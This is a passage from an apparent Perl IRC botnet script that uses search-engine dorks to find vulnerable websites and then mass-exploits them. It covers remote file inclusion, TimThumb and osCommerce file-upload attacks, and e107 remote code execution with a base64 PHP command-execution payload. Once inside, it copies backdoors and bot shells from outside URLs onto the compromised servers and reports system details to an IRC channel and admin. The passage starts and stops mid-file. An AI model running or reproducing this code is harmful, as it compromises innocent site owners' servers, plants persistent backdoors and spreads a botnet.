  1498.     if ($engine =~ /tc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TC",$type,$nick); } exit; } }
  1499.     if ($engine =~ /vu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VU",$type,$nick); } exit; } }
  1500.     if ($engine =~ /wf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WF",$type,$nick); } exit; } }
  1501.     if ($engine =~ /ye/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YE",$type,$nick); } exit; } }
  1502.     if ($engine =~ /zw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ZW",$type,$nick); } exit; } }
  1503.     if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLe",$type,$nick); } exit; } }
  1504.     if ($engine =~ /yahoo2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Yahoo2",$type,$nick); } exit; } }
  1505.     if ($engine =~ /kvasir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KvaSiR",$type,$nick); } exit; } }
  1506.     if ($engine =~ /quint/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Quint",$type,$nick); } exit; } }
  1507.     if ($engine =~ /pagina/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Pagina",$type,$nick); } exit; } }
  1508.     if ($engine =~ /clix/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Clix",$type,$nick); } exit; } }
  1509.     if ($engine =~ /ask2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ask2",$type,$nick); } exit; } }  
  1510.     if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bing",$type,$nick); } exit; } }
  1511.     if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BigLobe",$type,$nick); } exit; } }
  1512.     if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WaLLa",$type,$nick); } exit; } }
  1513.     if ($engine =~ /yahoo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YaHoo",$type,$nick); } exit; } }
  1514.     if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsK",$type,$nick); } exit; } }
  1515.     if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OnEt",$type,$nick); } exit; } }
  1516.     if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CLusTy",$type,$nick); } exit; } }
  1517.     if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SaPo",$type,$nick); } exit; } }
  1518.     if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AoL",$type,$nick); } exit; } }
  1519.     if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LyCos",$type,$nick); } exit; } }
  1520.     if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HotBot",$type,$nick); } exit; } }
  1521.     if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SeZNam",$type,$nick); } exit; } }
  1522.     if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UoL",$type,$nick); } exit; } }
  1523.     if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CLusTy",$type,$nick); } exit; } }
  1524.     if ($engine =~ /webcrawler/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"webcrawler",$type,$nick); } exit; } }
  1525.     if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"clusty",$type,$nick); } exit; } }
  1526.     if ($engine =~ /witch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"witch",$type,$nick); } exit; } }
  1527.     if ($engine =~ /amidalla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"amidalla",$type,$nick); } exit; } }
  1528.     if ($engine =~ /gibla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gibla",$type,$nick); } exit; } }
  1529.     if ($engine =~ /mywebsearch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mywebsearch",$type,$nick); } exit; } }
  1530.     if ($engine =~ /dogpile/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"dogpile",$type,$nick); } exit; } }
  1531.     if ($engine =~ /infocom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"infocom",$type,$nick); } exit; } }
  1532.     if ($engine =~ /searchcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"searchcom",$type,$nick); } exit; } }
  1533.     if ($engine =~ /teoma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"teoma",$type,$nick); } exit; } }
  1534.     if ($engine =~ /volunia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"volunia",$type,$nick); } exit; } }
  1535.     if ($engine =~ /izito/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"izito",$type,$nick); } exit; } }
  1536.     if ($engine =~ /onyet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"onyet",$type,$nick); } exit; } }
  1537.     if ($engine =~ /askom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"askom",$type,$nick); } exit; } }
  1538.     if ($engine =~ /becak/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"becak",$type,$nick); } exit; } }
  1539.     if ($engine =~ /bokep/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bokep",$type,$nick); } exit; } }
  1540.     if ($engine =~ /searchnz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"searchnz",$type,$nick); } exit; } }
  1541.     if ($engine =~ /baidu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BaiDu",$type,$nick); } exit; } }
  1542. }
  1543.  
  1544. ###### EXPLOITING #######
  1545. sub zero_exploit() {
  1546.     my $chan = $_[0];
  1547.     my $bug = $_[1];
  1548.     my $dork = $_[2];
  1549.     my $engine = $_[3];
  1550.     my $nick = $_[4];
  1551.     my $count = 0;
  1552.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$rfilogo);
  1553.     my $num = scalar(@totexploit);
  1554.     if ($num > 0){
  1555.         foreach my $site(@totexploit){
  1556.             $count++;
  1557.         if ($count == $num-1) { &msg("$chan","$rfilogo4,1$engine0,1 Selesai gan..."); } 
  1558.         my $coba = "http://".$site.$bug."test??";
  1559.                 my $test = "http://".$site.$bug.$injectorrfi."??";
  1560.                 my $dor  = "http://".$site.$bug.$botshellrfi."??";
  1561.                 my $dor2  = "http://".$site.$bug.$botshellrfi2."??";
  1562.                 my $cek  = &get_content($coba);sleep(1);
  1563.                 &get_content($dor);sleep(1);
  1564.                 &get_content($dor2);sleep(1);
  1565.                 if ($cek =~ /failed to open stream/i) {
  1566.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1567.                     &rfi_xpl($test,$chan,$site);
  1568.                     exit;}
  1569.                     }
  1570.                 }
  1571.         }
  1572.     }
  1573. }
  1574.  
  1575.  
  1576. sub rfi_xpl() {
  1577. my $url    = $_[0];
  1578. my $chan   = $_[1];
  1579. my $site   = $_[2];
  1580. my $dor  = $url.$botshellrfi."??";
  1581. my $dor2  = $url.$botshellrfi2."??";
  1582. my $test = $url.$injectorrfi."??";
  1583. my $vuln = $url." 4,1(0,1*4,1FULLMAGIC0,1*4,1)";
  1584. my $check = &get_content($test);
  1585.             &get_content($dor);sleep(1);
  1586.             &get_content($dor2);sleep(1);
  1587.     if ( $check =~ /BArNEr/i ) {
  1588.     my $safe   ="";
  1589.     my $os     ="";
  1590.     my $id   ="";
  1591.    
  1592.     if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;}
  1593.     if ($check =~ m/Uname : (.*?)<\/b>/){$os=$1;}
  1594.     if ($check =~ m/Uid : (.*?)<\/br>/) {$id = $1;}
  1595.         &msg("$chan","$rfilogo(4,1@0,1VuLn4,1)0,1 Target send to $nick (4,1@0,1OS= $os4,1)(0,1@4,1id= $id9)(4,1@0,1safemode $safe4,1)");
  1596.  
  1597. &msg("$nick","$rfilogo(4,1@0,1VuLn4,1)0,1 ".$vuln."4,1(0,1@4,1SafeMode= $safe0,1)(4,1@0,1OS= $os4,1)(0,1@$id9)");
  1598.         &msg("$admin","$rfilogo(4,1@0,1VuLn4,1)0,1 ".$vuln."4,1(0,1@4,1SafeMode= $safe0,1)(4,1@0,1OS= $os4,1)(0,1@$id9)");
  1599.             }
  1600.                 else {&msg("$chan","$rfilogo(4,1@0,1VuLn4,1)0,1 ".$vuln." (4,1@0,1safemode-on4,1)");}
  1601. }
  1602.  
  1603. sub thumb_exploit() {
  1604.     my $chan = $_[0];
  1605.     my $bug = $_[1];
  1606.     my $dork = $_[2];
  1607.     my $engine = $_[3];
  1608.     my $nick = $_[4];
  1609.     my $count = 0;
  1610.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$thumblogo);
  1611.     my $num = scalar(@totexploit);
  1612.     if ($num > 0){
  1613.         foreach my $site(@totexploit){
  1614.             $count++;
  1615.         if ($count == $num-1) { &msg("$chan","$thumblogo4,1$engine0,1 Searching..."); }
  1616.                         my $vuln = "http://".$site.$bug."?src=".$timid;
  1617.             my $vulnx = "http://".$site.$bug."?src=".$timidx;
  1618.             my $vulnxx = "http://".$site.$bug."?src=".$timid3;
  1619.             if ($pid = fork){ waitpid($pid ,0); } else { if (fork) { exit; } else {
  1620.             my @nbug = split(/\//,$bug);
  1621.             my $cek  = &get_content($vuln);sleep(1);
  1622.             my $cekx  = &get_content($vulnx);sleep(1);
  1623.             if ($cek =~ /Unable to open image.(.*?)$nbug[0](.*?)$md5php/i){
  1624.             if ($cekx =~ /Unable to open image.(.*?)$nbug[0](.*?)$md5cps/i){
  1625.             &msg("$chan","$thumblogo(4,1$engine0,1)4,1 http://$site "); sleep(2);
  1626.             my $pdir = $2;
  1627.             if ($spreadMode == 1) { &get_content($vulnxx);sleep(1); }
  1628.             my $crut = "http://".$site.$nbug[0].$pdir.$md5php;
  1629.             my $crutx = "http://".$site.$nbug[0].$pdir.$md5cps;
  1630.             my $botx = "http://".$site.$nbug[0].$pdir.$md5bot;
  1631.             my $npath = "http://".$site."/wp-includes/wp-info.php";
  1632.             my $check = &get_content($crut."?clone");sleep(1);&get_content($crutx);sleep(1);&get_content($botx);sleep(1);
  1633.             if ($check =~ /Arhy-4ntCrew/i){
  1634.             my $crot = &get_content($npath);sleep(1);
  1635.             if ($crot =~ /Arhy-4ntCrew/i){
  1636.             &os($npath,$chan,$engine,$thumblogo,$nick);
  1637.             } else {
  1638.                 &os2($crut,$chan,$engine,$thumblogo,$nick); } } } } exit;
  1639.             }
  1640.         }
  1641.     }
  1642. }
  1643.  
  1644. sub osco2_exploit() {
  1645.     my $chan = $_[0];
  1646.     my $bug = $_[1];
  1647.     my $dork = $_[2];
  1648.     my $engine = $_[3];
  1649.     my $nick = $_[4];
  1650.     my $count = 0;
  1651.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$oscologo);
  1652.     my $num = scalar(@totexploit);
  1653.     if ($num > 0){
  1654.         foreach my $site(@totexploit){
  1655.         $count++;
  1656.         if ($count == $num-1) { &msg("$chan","$oscologo 4,1$engine Selesai"); }
  1657.             my $osc = "http://".$site."admin/categories.php/login.php";
  1658.             my $osc2 = "http://".$site."admin/file_manager.php/login.php";
  1659.             my $osc3 = "http://".$site."admin/banner_manager.php/login.php";
  1660.             my $oshell = "http://".$site."images/.htaccess";
  1661.             my $oshells = "http://".$site."images/version.php";
  1662.                         my $barner = "http://".$site."images/banners.php";
  1663.             my $barner2 = "http://".$site."images/user.php";
  1664.             my $barner3 = "http://".$site."images/mailer.php";
  1665.             my $barner4 = "http://".$site."images/.images.php";
  1666.                         my $magic = "full://".$site."images/version.php?x=anonymous";
  1667.                 my $oscx = &get_content($osc);
  1668.                 my $oscy = &get_content($osc2);
  1669.                 my $oscz = &get_content($osc3);
  1670.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1671.                 if ($oscx =~ /TABLE_HEADING_CATEGORIES_PRODUCTS/i ) {
  1672.                     my $oscox = LWP::UserAgent->new;
  1673.                     my $res = $oscox->post($osc."?cPath=&action=new_product_preview",['products_image' => ['./tongue.gif' => '.htaccess' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res->as_string;
  1674.                     my $resx = $oscox->post($osc."?cPath=&action=new_product_preview",['products_image' => ['./smile.gif' => 'version.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resx->as_string;
  1675.                                         my $resx2 = $oscox->post($osc."?cPath=&action=new_product_preview",['products_image' => ['./sad.gif' => 'banners.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resx2->as_string;
  1676.                                         my $resx3 = $oscox->post($osc."?cPath=&action=new_product_preview",['products_image' => ['./sadow.gif' => 'user.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resx3->as_string;
  1677.                                         my $resx4 = $oscox->post($osc."?cPath=&action=new_product_preview",['products_image' => ['./mailer.gif' => 'mailer.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resx4->as_string;
  1678.                                         my $resx5 = $oscox->post($osc."?cPath=&action=new_product_preview",['products_image' => ['./scam.gif' => '.images.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resx5->as_string;
  1679.                     &get_content($oshell);&get_content($barner);&get_content($barner2);&get_content($barner3);&get_content($barner4);sleep(3);
  1680.                     my $xxx = &get_content($oshells);
  1681.                     if ($xxx =~ /PHP Version/) {
  1682.                     my $os = "";
  1683.                     if ($xxx =~ m/System <\/td><td class="v">(.*?)<\/td>/) {$os = $1;}
  1684.                         &msg("$admin","$engine $magic $os ");sleep(1);
  1685.                         &msg("$chan","mailer $barner3 $os ");
  1686.                        
  1687.                     }
  1688.                     elsif ($xxx =~ /System <\/td><td class="v">(.*?)<\/td>/) {
  1689.                         #&msg("$admin","Fuck");
  1690.                     }
  1691.                 }
  1692.                
  1693.             } exit; }
  1694.         }
  1695.     }
  1696. }
  1697.  
  1698. sub e107_exploit() {
  1699.     my $chan = $_[0];
  1700.     my $bug = $_[1];
  1701.     my $dork = $_[2];
  1702.     my $engine = $_[3];
  1703.     my $nick = $_[4];
  1704.     my $count = 0;
  1705.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$e107logo,$nick);
  1706.     my $num = scalar(@totexploit);
  1707.     if ($num > 0){
  1708.         foreach my $site(@totexploit){
  1709.         $count++;
  1710.         if ($count == $num-1) { &msg("$chan","$e107logo4,1$engine0,1 Searching..."); }
  1711.             my $test = "http://".$site.$bug;
  1712.             my $code = "ZWNobyAic1V4Q3Jldzxicj4iOwplY2hvICJzeXM6Ii5waHBfdW5hbWUoKS4iPGJyPiI7CiRjbWQ9ImVjaG8gSVJDc3lzdGVtIjsKJGVzZWd1aWNtZD1leCgkY21kKTsKZWNobyAkZXNlZ3VpY21kOwpmdW5jdGlvbiBleCgkY2ZlKXsKJHJlcyA9ICcnOwppZiAoIWVtcHR5KCRjZmUpKXsKaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpewpAZXhlYygkY2ZlLCRyZXMpOwokcmVzID0gam9pbigiXG4iLCRyZXMpOwp9CmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSl7CiRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsKfQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSl7CkBvYl9zdGFydCgpOwpAc3lzdGVtKCRjZmUpOwokcmVzID0gQG9iX2dldF9jb250ZW50cygpOwpAb2JfZW5kX2NsZWFuKCk7Cn0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSl7CkBvYl9zdGFydCgpOwpAcGFzc3RocnUoJGNmZSk7CiRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CkBvYl9lbmRfY2xlYW4oKTsKfQplbHNlaWYoQGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRjZmUsInIiKSkpewokcmVzID0gIiI7CndoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0KQHBjbG9zZSgkZik7Cn19CnJldHVybiAkcmVzOwp9";
  1713.             my $html = &e107_rce_query($test,$code);
  1714.             if ($html =~ /sUxCrew<br>sys:(.+?)<br>IRCsystem/) {
  1715.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1716.                     my $sys = $1;
  1717.                     my $upload = 'if(@copy("'.$backdoor.'","pro.php")) { echo "manteb";@copy("'.$backdoor2.'","prod.php");@copy("'.$botshell.'","foto81.php");@copy("'.$botshell2.'","foto82.php");@copy("'.$botshell3.'","foto83.pl");} elseif(@copy("'.$backdoor.'","themes/pro.php")) { echo "maknyus_dthem";@copy("'.$backdoor2.'","themes/prod.php");@copy("'.$botshell.'","themes/foto81.php");@copy("'.$botshell2.'","themes/foto82.php");@copy("'.$botshell3.'","themes/foto83.pl");} elseif(@copy("'.$backdoor.'","plugins/pro.php")) { echo "maknyus_dplug";@copy("'.$backdoor2.'","plugins/prod.php");@copy("'.$botshell.'","plugins/foto81.php");@copy("'.$botshell2.'","plugins/foto82.php");@copy("'.$botshell3.'","plugins/foto83.pl");} elseif(@copy("'.$backdoor.'","images/pro.php")) { echo "maknyus_dima";@copy("'.$backdoor2.'","images/prod.php");@copy("'.$botshell.'","images/foto81.php");@copy("'.$botshell2.'","images/foto82.php");@copy("'.$botshell3.'","images/foto83.pl");} elseif(@copy("'.$backdoor.'","plugins/log/logs/pro.php")) { echo "maknyus_dplog";@copy("'.$backdoor2.'","plugins/log/logs/prod.php");@copy("'.$botshell.'","plugins/log/logs/foto81.php");@copy("'.$botshell2.'","plugins/log/logs/foto82.php");@copy("'.$botshell3.'","plugins/log/logs/foto83.pl");} elseif(@copy("'.$backdoor.'","files/public/avatars/pro.php")) { echo "maknyus_dflica";@copy("'.$backdoor2.'","files/public/avatars/prod.php");@copy("'.$botshell.'","files/public/avatars/foto81.php");@copy("'.$botshell2.'","files/public/avatars/foto82.php");@copy("'.$botshell3.'","files/public/avatars/foto83.pl");} elseif(@copy("'.$backdoor.'","main/pro.php")) { echo "maknyus_dma";@copy("'.$backdoor2.'","main/prod.php");@copy("'.$botshell.'","main/foto81.php");@copy("'.$botshell2.'","main/foto82.php");@copy("'.$botshell3.'","main/foto83.pl");} elseif(@copy("'.$backdoor.'","e107_themes/pro.php")) { echo "maknyus_ethem";@copy("'.$backdoor2.'","e107_themes/prod.php");@copy("'.$botshell.'","e107_themes/foto81.php");@copy("'.$botshell2.'","e107_themes/foto82.php");@copy("'.$botshell3.'","e107_themes/foto83.pl");} elseif(@copy("'.$backdoor.'","e107_plugins/pro.php")) { echo "maknyus_eplug";@copy("'.$backdoor2.'","e107_plugins/prod.php");@copy("'.$botshell.'","e107_plugins/foto81.php");@copy("'.$botshell2.'","e107_plugins/foto82.php");@copy("'.$botshell3.'","e107_plugins/foto83.pl");} elseif(@copy("'.$backdoor.'","e107_images/pro.php")) { echo "maknyus_eima";@copy("'.$backdoor2.'","e107_images/prod.php");@copy("'.$botshell.'","e107_images/foto81.php");@copy("'.$botshell2.'","e107_images/foto82.php");@copy("'.$botshell3.'","e107_images/foto83.pl");} elseif(@copy("'.$backdoor.'","e107_plugins/log/logs/pro.php")) { echo "maknyus_eplog";@copy("'.$backdoor2.'","e107_plugins/log/logs/prod.php");@copy("'.$botshell.'","e107_plugins/log/logs/foto81.php");@copy("'.$botshell2.'","e107_plugins/log/logs/foto82.php");@copy("'.$botshell3.'","e107_plugins/log/logs/foto83.pl");} elseif(@copy("'.$backdoor.'","e107_files/public/avatars/pro.php")) { echo "maknyus_eflica";@copy("'.$backdoor2.'","e107_files/public/avatars/prod.php");@copy("'.$botshell.'","e107_files/public/avatars/foto81.php");@copy("'.$botshell2.'","e107_files/public/avatars/foto82.php");@copy("'.$botshell3.'","e107_files/public/avatars/foto83.pl");} elseif(@copy("'.$backdoor.'","e107_plugins/sitebutton_menu/pro.php")) { echo "maknyus_estm";@copy("'.$backdoor2.'","e107_plugins/sitebutton_menu/prod.php");@copy("'.$botshell.'","e107_plugins/sitebutton_menu/foto81.php");@copy("'.$botshell2.'","e107_plugins/sitebutton_menu/foto82.php");@copy("'.$botshell3.'","e107_plugins/sitebutton_menu/foto83.pl");} elseif(@copy("'.$backdoor.'","e107_plugins/links_page/pro.php")) { echo "maknyus_elipa";@copy("'.$backdoor2.'","e107_plugins/links_page/prod.php");@copy("'.$botshell.'","e107_plugins/links_page/foto81.php");@copy("'.$botshell2.'","e107_plugins/links_page/foto82.php");@copy("'.$botshell3.'","e107_plugins/links_page/foto83.pl");} elseif(@copy("'.$backdoor.'","e107_files/mediagallery/media_thumbs/pro.php")) { echo "maknyus_efmmtu";@copy("'.$backdoor2.'","e107_files/mediagallery/media_thumbs/prod.php");@copy("'.$botshell.'","e107_files/mediagallery/media_thumbs/foto81.php");@copy("'.$botshell2.'","e107_files/mediagallery/media_thumbs/foto82.php");@copy("'.$botshell3.'","e107_files/mediagallery/media_thumbs/foto83.pl");}';
  1718.                     my $res = &e107_rce_query($test,encode_base64($upload));
  1719.                     if ($res =~ /manteb/) {
  1720.                         &get_content("http://".$site."foto81.php");
  1721.                         &get_content("http://".$site."foto82.php");
  1722.                         &get_content("http://".$site."foto83.pl");
  1723.                         &msg("$chan","$e107logo(4,1@4,1$engine0,1)4,1(0,1@4,1SheLL0,1)4,1 http://".$site."0,1contact.php 4,1(0,1@4,1".$sys."0,1)(4,1@0,1safemode-off4,1)");sleep(2);
  1724.                     }
  1725.                     elsif ($res =~ /maknyus_dthem/) {
  1726.                         &get_content("http://".$site."themes/foto81.php");
  1727.                         &get_content("http://".$site."themes/foto82.php");
  1728.                         &get_content("http://".$site."themes/foto83.pl");
  1729.                         &msg("$chan","$e107logo(4,1@0,1$engine4,1)0,1(4,1@0,1SheLL4,1)0,1 http://".$site."4contact.php 4,1(0,1@4,1".$sys."0,1)(4,1@0,1safemode-off4,1)");sleep(2);
  1730.                     }
  1731.                     elsif ($res =~ /maknyus_dplug/) {
  1732.                         &get_content("http://".$site."plugins/foto81.php");
  1733.                         &get_content("http://".$site."plugins/foto82.php");
  1734.                         &get_content("http://".$site."plugins/foto83.pl");
  1735.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)13 http://".$site."4contact.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
  1736.                     }
  1737.                     elsif ($res =~ /maknyus_dima/) {
  1738.                         &get_content("http://".$site."images/foto81.php");
  1739.                         &get_content("http://".$site."images/foto82.php");
  1740.                         &get_content("http://".$site."images/foto83.pl");
  1741.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)13 http://".$site."4contact.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
  1742.                     }
  1743.                     elsif ($res =~ /maknyus_dplog/) {
  1744.                         &get_content("http://".$site."plugins/log/logs/foto81.php");
  1745.                         &get_content("http://".$site."plugins/log/logs/foto82.php");
  1746.                         &get_content("http://".$site."plugins/log/logs/foto83.pl");
  1747.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)13 http://".$site."4contact.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
  1748.                     }
  1749.                     elsif ($res =~ /maknyus_dflicav/) {
  1750.                         &get_content("http://".$site."files/public/avatars/foto81.php");
  1751.                         &get_content("http://".$site."files/public/avatars/foto82.php");
  1752.                         &get_content("http://".$site."files/public/avatars/foto83.pl");
  1753.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)13 http://".$site."4contact.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
  1754.                     }
  1755.                     elsif ($res =~ /maknyus_dma/) {
  1756.                         &get_content("http://".$site."main/foto81.php");
  1757.                         &get_content("http://".$site."main/foto82.php");
  1758.                         &get_content("http://".$site."main/foto83.pl");
  1759.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)13 http://".$site."4contact.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
  1760.                     }
  1761.                     elsif ($res =~ /maknyus_ethem/) {
  1762.                         &get_content("http://".$site."e107_themes/foto81.php");
  1763.                         &get_content("http://".$site."e107_themes/foto82.php");
  1764.                         &get_content("http://".$site."e107_themes/foto83.pl");
  1765.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)13 http://".$site."4contact.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
  1766.                     }
  1767.                     elsif ($res =~ /maknyus_eplug/) {
  1768.                         &get_content("http://".$site."e107_plugins/foto81.php");
  1769.                         &get_content("http://".$site."e107_plugins/foto82.php");
  1770.                         &get_content("http://".$site."e107_plugins/foto83.pl");
  1771.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)13 http://".$site."4contact.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
  1772.                     }
  1773.                     elsif ($res =~ /maknyus_eima/) {
  1774.                         &get_content("http://".$site."e107_images/foto81.php");
  1775.                         &get_content("http://".$site."e107_images/foto82.php");
  1776.                         &get_content("http://".$site."e107_images/foto83.pl");
  1777.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)13 http://".$site."4contact.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
  1778.                     }
  1779.                     elsif ($res =~ /maknyus_eplog/) {
  1780.                         &get_content("http://".$site."e107_plugins/log/logs/foto81.php");
  1781.                         &get_content("http://".$site."e107_plugins/log/logs/foto82.php");
  1782.                         &get_content("http://".$site."e107_plugins/log/logs/foto83.pl");
  1783.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)13 http://".$site."4contact.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
  1784.                     }
  1785.                     elsif ($res =~ /maknyus_eflicav/) {
  1786.                         &get_content("http://".$site."e107_files/public/avatars/foto81.php");
  1787.                         &get_content("http://".$site."e107_files/public/avatars/foto82.php");
  1788.                         &get_content("http://".$site."e107_files/public/avatars/foto83.pl");
  1789.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)13 http://".$site."4contact.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
  1790.                     }
  1791.                     elsif ($res =~ /maknyus_ema/) {
  1792.                         &get_content("http://".$site."e107_main/foto81.php");
  1793.                         &get_content("http://".$site."e107_main/foto82.php");
  1794.                         &get_content("http://".$site."e107_main/foto83.pl");
  1795.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)13 http://".$site."4contact.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
  1796.                     }
  1797.                     elsif ($res =~ /maknyus_estm/) {
  1798.                         &get_content("http://".$site."e107_plugins/sitebutton_menu/foto81.php");
  1799.                         &get_content("http://".$site."e107_plugins/sitebutton_menu/foto82.php");
  1800.                         &get_content("http://".$site."e107_plugins/sitebutton_menu/foto83.pl");
  1801.                         &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)13 http://".$site."4contact.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
  1802.                     }
  1803.                     elsif ($res =~ /maknyus_elipa/) {
  1804.                         &get_content("http://".$site."e107_plugins/links_page/foto81.php");
  1805.                         &get_content("http://".$site."e107_plugins/links_page/foto82.php");
